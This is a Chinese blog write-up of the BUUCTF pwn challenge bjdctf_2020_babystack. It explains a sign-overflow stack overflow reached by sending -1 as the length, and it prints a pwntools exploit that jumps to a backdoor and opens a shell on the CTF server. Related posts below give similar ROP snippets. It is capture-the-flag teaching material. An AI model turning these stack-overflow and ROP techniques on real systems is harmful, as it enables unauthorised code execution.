BUUCTF PWN bjdctf_2020_babystack

最新推荐文章于 2025-04-14 19:18:19 发布
最新推荐文章于 2025-04-14 19:18:19 发布
阅读量391 收藏 2
点赞数
分类专栏： BUUCTF 文章标签： 安全 pwn python c语言 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/arraylocalhost/article/details/124360019
版权
本文探讨了如何利用checksec工具检测系统安全特性，并通过IDA进行64位程序逆向，发现read函数溢出漏洞。随后，通过构造payload实现整型溢出，定位并利用backdoor地址创建后门。脚本演示了从远程主机执行这些操作的过程，包括发送特殊长度值进行溢出攻击并交互式控制。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

1.checksec+运行

64位/NX保护

2.64位IDA进行中

1.main函数

read()函数溢出

跟进buf,看看偏移

 

offset=0x10+8

但要注意一点:

read(0, buf, (unsigned int)nbytes); 

无符号整型,需要输入-1,进行整型溢出

接下来就是常规的操作

backdoor函数地址

 

3.直接上脚本

from pwn import*
#p=process('./12babystack')
p=remote("node4.buuoj.cn",28922)


backdoor=0x4006E6

p.recvuntil('[+]Please input the length of your name:')//发送-1交互,整型溢出
p.sendline('-1')

payload=b'a'*(0x10+8)+p64(backdoor)
p.sendline(payload)
p.interactive()

bjdctf_2020_babystack
m0_52231248的博客
11-07 174
bjdctf_2020_babystack 题目Ubuntu 16 Checksec检查一下 Ida: read函数的读取长度是我们的输入，存在溢出点，offest=0x10+0x8 然后main函数上面就是backdoor函数 构造exp： 成功得到flag：
BUUCTF：bjdctf_2020_babystack2（write up）
qq_44768749的博客
08-24 1695
BUUCTF：bjdctf_2020_babystack20x01文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01文件分析 64位程序，开启了栈不可执行、部分RELRO保护 0x02 运行 先输入name的长度，再输入name 0x03 IDA 输入nbytes的长度要小于10 同时给出了后面函数直接getshell 0x04 思路 比较nbytes和10的大小，可以利用符号溢出漏洞，输入一个负数，进而输入name的时候可以实现栈溢出跳转到后门函数ge
[BUUCTF-pwn]——bjdctf_2020_babystack
Y_peak的博客
02-10 424
[BUUCTF-pwn]——bjdctf_2020_babystack 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babystack Linux中checksec一下 , 64位的我们要小心参数小于6位的函数. IDA中看看 看到这里不用我多说了吧, So easy !!! exploit from pwn import * p = remote("node3.buuoj.cn",25355) sys = 0x04006EA p.sendlinea
bjdctf_2020_babystack 1（栈溢出）
最新发布
Snk0xHeart的博客
04-14 234
开虚拟机checksec64位，没开栈保护扔进IDA（64位），找到main，F5反编译没啥东西，点进buf看看（同时注意第8行的nbytes，下面要用到）栈溢出吗？不管了，先数为敬，offset=16-4+8（dq=8）+8-4=24（注：buf读入的数据长度由我们输入的nbytes来控制，所以这里可以利用它来溢出，原本的大小为0，没得读，只有我们为其赋值，我们写入的东西才能让他读（第8行和第18行代码））然后找找后门函数Shift+F12，看看有啥东西可用。
[BUUCTF]PWN——bjdctf_2020_babystack
BangSen1的博客
03-29 367
例行检查，64位，开启NX保护 运行一下， 用IDA打开，检索字符串，看到了后门 跟进查看。 找到了地址，shelladdr=0x4006EA 查看主函数 接收函数长度由我们自己决定，由此可以造成溢出。 from pwn import* r=remote('node3.buuoj.cn',25232) shelladdr=0x4006EA r.sendline('100') payload='a'*(0x10+8)+p64(shelladdr) r.sendline(payload) r.
[buuctf]bjdctf_2020_babystack
逆向萌新的博客
06-19 976
[buuctf]bjdctf_2020_babystack
BUUCTF(pwn)bjdctf_2020_babystack
半岛铁盒的博客
03-29 486
from pwn import * p = remote("node3.buuoj.cn",27955) sys = 0x04006E6 p.sendlineafter("[+]Please input the length of your name:\n",'200') payload = 'a' * (0x10 + 0x8) + p64(sys) p.sendlineafter("[+]What's u name?\n",payload) p.interactive() 有疑问的欢迎留言∑ ...
日行一PWN bjdctf_2020_babystack 尝试动态调试？
m0_57221101的博客
06-02 536
BUUCTF在线评测 (buuoj.cn)还是buu的题，这次没什么好讲的，一道送分题，但是明白了一个道理，不要太相信ida 的伪代码，那玩意的作用是帮你快速看明白题是在干什么，而不是帮你弄清楚做出这道题的细节。尤其是数据长度部分那么直接来分析首先可以看到，只有NX，和部分RELRO保护ida静态分析也是非常干脆的给出了后门程序主函数更是简单，用scanf来输入一个数字，把这个数字作为我们之后再read中的数据MAX大小。而看上面的接收参数只有0x10个大小（看伪代码此处说只有十二个，其实有16个，非常折磨
buuctf pwn rip
03-14
在处理像 `bjdctf_2020_babystack2` 这样的题目时，RIP（指令指针寄存器）控制是实现任意代码执行的关键[^1]。通常情况下，攻击者会通过覆盖返回地址来重定向程序流。 对于这类漏洞利用，常见的技术之一是 Return-...
BUUCTF pwn水题大赏（三）
o琦野o的博客
02-03 432
BUUCTF pwn水题大赏21.铁人三项(第五赛区)_2018_rop22.bjdctf_2020_babyrop23.[BJDCTF 2nd]r2t424.[BJDCTF 2nd]test25.bjdctf_2020_babystack226.bjdctf_2020_babyrop227.bjdctf_2020_router28.others_babystack29.ciscn_2019_s_430.wdb2018_guess 21.铁人三项(第五赛区)_2018_rop 32位栈溢出，利用 write
BUUCTF_WriteUp 2021-08-23
m0_56897090的博客
08-23 470
2021-08-23 文章目录2021-08-23shell_asm题目描述题目分析BabyROP题目描述解题思路0x01 整体思路0x02 额外前置知识：0x03 expnot_the_same_3dsctf_20160x01 解题思路0x02 expBJDCTF-babystack0x01 解题思路0x02 Expjarvisoj_level20x01 整体分析0x02 exp32位0x03 64位解法get_started_3dsctf_20160x01 程序整体分析预期解法解法2：mprotectc
[BUUCTF]PWN18——bjdctf_2020_babystack
mcmuyanga的博客
09-02 3904
[BUUCTF]PWN18——bjdctf_2020_babystack 附件 步骤： 例行检查，64位，开启了nx保护 试运行一下程序 大概了解程序的执行过程后用64位ida打开，shift+f12先查看一下程序里的字符串 看到/bin/sh双击跟进，ctrl+x找到了后门函数，shell_addr=0x4006e6 根据试运行的回显，找到了输入点 一个简单的小程序，buf读入的数据长度由我们输入的nbytes来控制，所以这里可以利用它来溢出 EXP from pwn import* r=re
BUUCTF pwn——bjdctf_2020_babystack
CNS-Enterprise BCC-1701-J
03-31 381
BUUCTF 做题练习
BUUCTF bjdctf_2020_babystack
小白垃圾笔记2
04-30 425
有的，所以我们的利用思路就是将返回地址先覆盖为pop rdi；ret 的地址，将参数(/bin/sh)传入rdi。然后再将system的地址填充进去，这样pop rdi；执行ret的时候就会去执行system。那么pop rdi;ret 后边的内容就应该是/bin/sh的地址了。有system函数调用，并且存在/bin/sh。去找有没有pop rdi ret。小白做题笔记而已，不建议阅读。64为程序用rdi传参。read函数存在栈溢出。
bjdctf_2020_babystack【BUUCTF】
qq_41696518的博客
08-26 1047
bjdctf_2020_babystack
CTF buuoj pwn-----第10题: bjdctf_2020_babystack
热门推荐
bing_Max的博客
09-28 2万+
思路 本体有后门函数, 最简单的是直接调用. 这里想用一下system函数,一开始忘了是32位的,写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功 后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag 编写exp from pwn import * con
【CTF】bjdctf_2020_babystack 1
凉水的博客
01-21 1540
解题思路: 1 先反编译： undefined8 main(void) { undefined local_18 [12]; uint local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,1,0); local_c = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *
BUUCTF|PWN-bjdctf_2020_babystack2-WP
l2645470582_的博客
11-09 477
1.例行检查保护机制 2.我们用64位的IDA打开该文件 shift+f12查看关键字符串，我们看到关键字符串"/bin/sh" 然后我们找到后门函数的地址：backdoor_addr = 0x0400726 3.我们看看main函数里面的内容 我们看到第一个nbytes是有符号数，第二个nbytes就变成了无符号数 我们判断这是一个整数溢出 所以 -1 = 4294967295 4.EXP #encoding = utf-8 fr...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值